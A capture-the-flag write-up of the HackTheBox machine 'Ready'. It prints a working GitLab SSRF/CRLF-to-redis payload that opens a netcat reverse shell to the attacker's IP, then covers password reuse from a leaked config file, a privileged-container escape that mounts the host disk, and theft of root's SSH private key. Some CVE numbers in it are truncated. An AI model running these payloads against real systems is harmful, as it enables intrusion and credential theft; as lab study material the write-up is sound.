14 May 2021 | Reading time: ~8 min
HackTheBox - Ready [Medium]
#HackTheBox #Medium #Linux #GitLab #SSRF #CVE-2018-19571 #CRLF-Injection #CVE-2018-19585 #redis #hardcoded-credentials #password-reuse #docker-breakout #B2R #writeup
Table of contents
Introduction
Ready is a medium difficulty Linux box based on a vulnerable version of GitLab Community Edition, which suffers both a Server Side Request Forgery (CVE-2018-1957) and a CRLF injection (CVE-2018-195), allowing to obtain a reverse shell as git user. After obtained a foothold, internal enumeration allowed to find hardcoded-credentials which lead to root access inside the docker container. Docker’s root user was allowed to run fdisk and mount the external system, making possible to stole root ssh key and obtain a high privileged shell on the original target.
Improved skills:
- SSRF Attacks
- CRLF Attacks
- Docker Escape
Used tools:
- nmap
- burpsuite
- hackvector
- netcat
Enumeration
Enumerated all TCP ports:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ready]
└─$ sudo nmap -p- -sS 10.10.10.220 -oN scans/all-tcp-ports.txt -v
...
PORT STATE SERVICE
22/tcp open ssh
5080/tcp open onscreen
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 40.94 seconds
Raw packets sent: 65582 (2.886MB) | Rcvd: 65536 (2.621MB)
Enumerated open TCP ports:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ready]
└─$ sudo nmap -p22,5080 -sV -sT -sC -A 10.10.10.220 -oN scans/open-tcp-ports.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-29 16:02 EDT
Nmap scan report for 10.10.10.220
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open http nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 49.83 ms 10.10.14.1
2 49.93 ms 10.10.10.220
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.69 seconds
Nmap revealed a GitLab installation on port 5080 and a OpenSSH service on port 22.
A custom account was registered in order to access the GitLab instance:
After get logged in, GitLab Version was enumerated from the “help” page:
Foothold
Googling around was found that GitLab Community Edition 11.4.7 suffered a Remote Code Execution vulnerability caused by a Server Side Request Forgery (CVE-2018-1957) and a CRFL Injection (CVE-2018-195).
Among the various PoCs, the analysis conducted by liveoverflow was definitely one of the best choice to follow to be able to penetrate this machine.
To summarize the vulnerability, arbitrary code execution can be achieved importing a new git project from the redis localhost port abusing a SSRF vulnerability in conjunction with the CRLF injection. This combination of vulnerabilities allowed to execute arbitrary code inside redis and so obtain a reverse shell.
First, a test project was created and the corresponding import request was intercepted using burpsuite:
POST /projects HTTP/1.1
Host: 10.10.10.220:5080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.220:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 317
Origin: http://10.10.10.220:5080
Connection: close
Cookie: _gitlab_session=09091cb83a47305f01ddec7c77a45d15; sidebar_collapsed=true; event_filter=all
Upgrade-Insecure-Requests: 1
utf8=%E2%9C%93&authenticity_token=aftxcmnuS8Omyy8hNlcAIh1FS4bve7Ynayo4MGngN2PDRqLqEX40n3qKOSG9ZTLRNR9rxOakhyzSTKGlyqrl6Q%3D%3D&project%5Bimport_url%5D=test&project%5Bci_cd_only%5D=false&project%5Bname%5D=test&project%5Bnamespace_id%5D=3&project%5Bpath%5D=test&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0
After that, the request was modified to contain the malicious payload, which in this case send to the attacker machine the string “pippo”. To avoid problems with special characters the url-encode of the whole payload was executed using the burpsuite plugin hackvector.
POST /projects HTTP/1.1
Host: 10.10.10.220:5080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.220:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 772
Origin: http://10.10.10.220:5080
Connection: close
Cookie: _gitlab_session=09091cb83a47305f01ddec7c77a45d15; sidebar_collapsed=true; event_filter=all
Upgrade-Insecure-Requests: 1
utf8=%E2%9C%93&authenticity_token=aftxcmnuS8Omyy8hNlcAIh1FS4bve7Ynayo4MGngN2PDRqLqEX40n3qKOSG9ZTLRNR9rxOakhyzSTKGlyqrl6Q%3D%3D&project%5Bimport_url%5D=<@urlencode_all>git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|echo pippo | nc 10.10.14.24 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git <@/urlencode_all>&project%5Bci_cd_only%5D=false&project%5Bname%5D=test&project%5Bnamespace_id%5D=3&project%5Bpath%5D=test&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0
The resulting request was the following one:
Listening on port 1234 we get a response back from the server with the message contained within the payload, meaning that the exploit was successfully executed.
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ready]
└─$ sudo nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.220] 39212
pippo
A reverse connection can be obtained in the same way upgrading the previous PoC to contain a netcat reverse shell:
<@urlencode_all>git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| nc 10.10.14.24 1234 -e /bin/bash\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git <@/urlencode_all>
Using the above payload, a reverse shell was obtained successfully:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ready]
└─$ sudo nc -nlvp 1234
[sudo] password for kali:
listening on [any] 1234 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.220] 39772
id
uid=998(git) gid=998(git) groups=998(git)
which python
which python3
/opt/gitlab/embedded/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ cd /home
cd /home
git@gitlab:/home$ ls
ls
dude
git@gitlab:/home$ cd dude
cd dude
git@gitlab:/home/dude$ ls
ls
user.txt
git@gitlab:/home/dude$ cat user.txt
cat user.txt
e1e30b052b6ec0670698805d745e7682
Lateral Movement
Local enumeration revealed a readable backup file containing credentials and a docker-compose suggesting we were inside docker:
git@gitlab:/opt/backup$ cat gitlab.rb | grep password
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
# password: '_the_password_of_the_bind_user'
# password: '_the_password_of_the_bind_user'
# '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####! redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
# password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
# password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil
git@gitlab:/opt/backup$ cat docker-compose.yml
version: '2.4'
services:
web:
image: 'gitlab/gitlab-ce:11.4.7-ce.0'
restart: always
hostname: 'gitlab.example.com'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://172.19.0.2'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/root_pass')
...
privileged: true
...
Because root
and nil
shared the same password, it was possible to escalate to root reusing nil credentials:
git@gitlab:/opt/backup$ su root
Password:
root@gitlab:/opt/backup# id
uid=0(root) gid=0(root) groups=0(root)
Privilege Escalation
Because the container had the privileged flag set to true and root access was gained, it was possible to escape from it and get access on the original target mounting the corresponding partition.
A PoC of the method can be read on the HackTricks blog
Enumerated all the partition using fdisk
and mounted the target filesystem inside the container:
root@gitlab:/mnt# fdisk -l
...
Device Start End Sectors Size Type
/dev/sda1 2048 4095 2048 1M BIOS boot
/dev/sda2 4096 37746687 37742592 18G Linux filesystem
/dev/sda3 37746688 41940991 4194304 2G Linux swap
root@gitlab:/mnt# mount /dev/sda2 /mnt/tmp/
root@gitlab:/mnt# mkdir tmp
root@gitlab:/mnt# mount /dev/sda2 /mnt/tmp/
Leaked the root private key:
root@gitlab:/mnt/tmp/root# ls
docker-gitlab ready-channel root.txt snap
root@gitlab:/mnt/tmp/root# cd .ssh
root@gitlab:/mnt/tmp/root/.ssh# ls
authorized_keys id_rsa id_rsa.pub
root@gitlab:/mnt/tmp/root/.ssh# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvyovfg++zswQT0s4YuKtqxOO6EhG38TR2eUaInSfI1rjH09Q
...
aKvV8jR1G+70v4GVye79Kk7TL5uWFDFWzVPwVID9QCYJjuDlLBaFDnUOYFZW52gz
vJzok/kcmwcBlGfmRKxlS0O6n9dAiOLY46YdjyS8F8hNPOKX6rCd
-----END RSA PRIVATE KEY-----
Obtained a high privileged shell using the stolen key:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ready]
└─$ nano loot/root.rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvyovfg++zswQT0s4YuKtqxOO6EhG38TR2eUaInSfI1rjH09Q
sle1ivGnwAUrroNAK48LE70Io13DIfE9rxcotDviAIhbBOaqMLbLnfnnCNLApjCn
...
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ready]
└─$ ssh root@10.10.10.220 -i loot/root.rsa
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)
...
Last login: Thu Feb 11 14:28:18 2021
root@ready:~# whoami && hostname && cat /root/root.txt && ifconfig -a
root
ready
b7f98681505cd39066f67147b103c2b3
br-bcb73b090b3f: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.0.1 netmask 255.255.0.0 broadcast 172.19.255.255
inet6 fe80::42:28ff:fe4d:2cbf prefixlen 64 scopeid 0x20<link>
ether 02:42:28:4d:2c:bf txqueuelen 0 (Ethernet)
...
Trophy
The good thing about science is that it's true whether or not you believe in it.
- Neil deGrasse Tyson